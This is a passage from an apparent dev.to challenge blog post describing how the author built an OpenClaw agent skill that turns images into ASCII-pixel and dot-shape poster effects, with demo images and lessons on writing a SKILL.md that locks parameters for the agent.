&lt;li&gt;The grid overlay was hitting background cells too, which made the dotted background feel cluttered. Restricting the 5 percent white grid to subject cells only cleaned it up immediately.&lt;/li&gt;
&lt;li&gt;Cell sizing went through three rounds before 11 by 14 px felt right at 900 px wide. Smaller and the glyphs got unreadable. Larger and the subject lost its silhouette.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the ASCII version was locked, I wanted a sibling effect that felt like a poster instead of a render. Same pipeline, different paint: blue background, white shapes sized by inverted luminance, ASCII running behind in a slightly lighter blue so it reads as texture not noise. I tried 1x, 1.5x and 2x density. 2x looked like polka dots. 1x lost the subject. 1.5x is what shipped.&lt;/p&gt;

&lt;p&gt;Every parameter I locked in went straight into the &lt;a href="https://pub-43a0e06d9551420887525349d4f2aa27.r2.dev/SKILL.md" rel="noopener noreferrer"&gt;SKILL.md&lt;/a&gt; as a fixed value with a short reason. The skill file reads like a contract. The agent is told, in plain language, "do not upgrade these numbers." That single line saved me from regression every time I asked it to add a new feature.&lt;/p&gt;

&lt;p&gt;That is the real workflow OpenClaw enabled. I was not writing the script. I was negotiating the spec, and the agent was rewriting its own implementation each time the spec changed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqwn6n3j4bh8d4f7nwnc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqwn6n3j4bh8d4f7nwnc.png" alt="Using OpenClaw" width="800" height="1701"&gt;&lt;/a&gt;&lt;br&gt;
Here is what the two effects look like on different inputs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dot Shape&lt;/strong&gt; on a horse photo. White shapes mixed 50 / 50 between circles and squares, ASCII flicker behind in lighter blue.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Favwszbwf5ei5jf51t0uv.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Favwszbwf5ei5jf51t0uv.jpg" alt="Dot Shape effect on a running horse" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ASCII Pixel&lt;/strong&gt; on the same horse, different photo. Notice how the bright sky and ground stay as quiet background dots while the horse itself becomes the only thing made of glyphs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgm6xeopfnufn1v2nxgpo.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgm6xeopfnufn1v2nxgpo.jpg" alt="ASCII Pixel rendering of a rearing horse at dusk" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Portrait test. The normalize_color step is doing the heavy lifting here, the orange and blue tones come straight from the source photo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqhz4vtecvs8or67v0s8h.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqhz4vtecvs8or67v0s8h.jpg" alt="ASCII Pixel portrait" width="800" height="602"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wide aspect ratio still works because the cell grid is built off pixel size, not image proportions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9srwvkhjjusl3vt6ml41.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9srwvkhjjusl3vt6ml41.jpg" alt="ASCII Pixel of a shark underwater" width="800" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And one with strong color contrast between subject and background. The blurred backdrop holds the mood, the figure carries the detail.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F77upl1ep5w6c8lw7te1r.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F77upl1ep5w6c8lw7te1r.jpg" alt="ASCII Pixel of a person against red sky" width="800" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://pub-43a0e06d9551420887525349d4f2aa27.r2.dev/SKILL.md" rel="noopener noreferrer"&gt;SKILL.md&lt;/a&gt; is included with this submission. Drop it into your OpenClaw skills folder, point your agent at any image, say which effect you want, and you get a PNG back.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;A few things I did not expect:&lt;/p&gt;

&lt;p&gt;The biggest improvements came from &lt;em&gt;removing&lt;/em&gt; logic, not adding it. The luminance supplement was a clever feature that was actively making the output worse. Trusting one source of truth (rembg) and letting the rest of the pipeline be dumb gave a cleaner result than any hybrid approach.&lt;/p&gt;

&lt;p&gt;Also, writing the skill file in second person, like I was handing instructions to a junior designer, worked dramatically better than writing it as documentation. Phrases like "do not add a luminance supplement" and "preserve the ramp exactly" stopped the agent from getting creative in the wrong places. When I wrote the same constraint as a description ("the ramp is &lt;code&gt;@#S08Xox+=;:-,.&lt;/code&gt;") the agent treated it as a suggestion and would occasionally swap characters around.&lt;/p&gt;

&lt;p&gt;The other surprise was how much of the work was visual taste, not code. Picking 1.5x density over 1x or 2x took ten minutes of staring at outputs side by side. No amount of math was going to tell me which one looked right. Having an agent that could regenerate all three variants in one prompt let me make that call quickly instead of writing a render loop myself.&lt;/p&gt;

&lt;p&gt;If you are building skills for OpenClaw, my one piece of advice is keep the skill file boring. Lock the parameters, list the steps in order, write a hard rules section, and let the agent figure out the implementation each time. The less room you leave for interpretation on the values, the more freedom you can give it on the code.&lt;/p&gt;

&lt;h2&gt;
  
  
  ClawCon Michigan
&lt;/h2&gt;

&lt;p&gt;I did not attend in person this year. Hoping to make the next one.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>openclawchallenge</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
